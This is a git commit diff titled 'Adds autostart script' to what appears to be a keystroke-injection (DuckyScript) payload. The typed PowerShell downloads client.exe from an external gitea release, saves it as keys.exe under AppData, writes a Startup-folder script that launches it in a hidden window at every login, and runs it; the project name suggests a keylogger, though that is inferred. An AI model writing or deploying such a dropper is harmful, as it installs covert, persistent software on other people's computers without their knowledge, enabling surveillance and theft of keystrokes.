🔧 Adds autostart script

This commit is contained in:
Daniel Svitan 2025-05-14 10:46:38 +02:00
parent 60526fba00
commit f953f59072

View File

@ -12,6 +12,8 @@ STRING $OpDir = "$(pwd)\AppData\Local\keys";
REM download client.exe file
STRING Invoke-WebRequest https://gitea.svitan.dev/Streamer272/keys/releases/download/latest/client.exe -OutFile "$OpDir\keys.exe";
STRING Add-Content -Path "$(pwd)\AppData\Roaming\Windows\Start Menu\Programs\Startup\keys.cmd" -Value "powershell.exe -WindowStyle hidden { Start-Process -FilePath \"$OpDir\keys.exe\" -NoNewWindow }";
REM client.exe file (closes automatically)
STRING Start-Process -FilePath "$OpDir\keys.exe" -NoNewWindow }
ENTER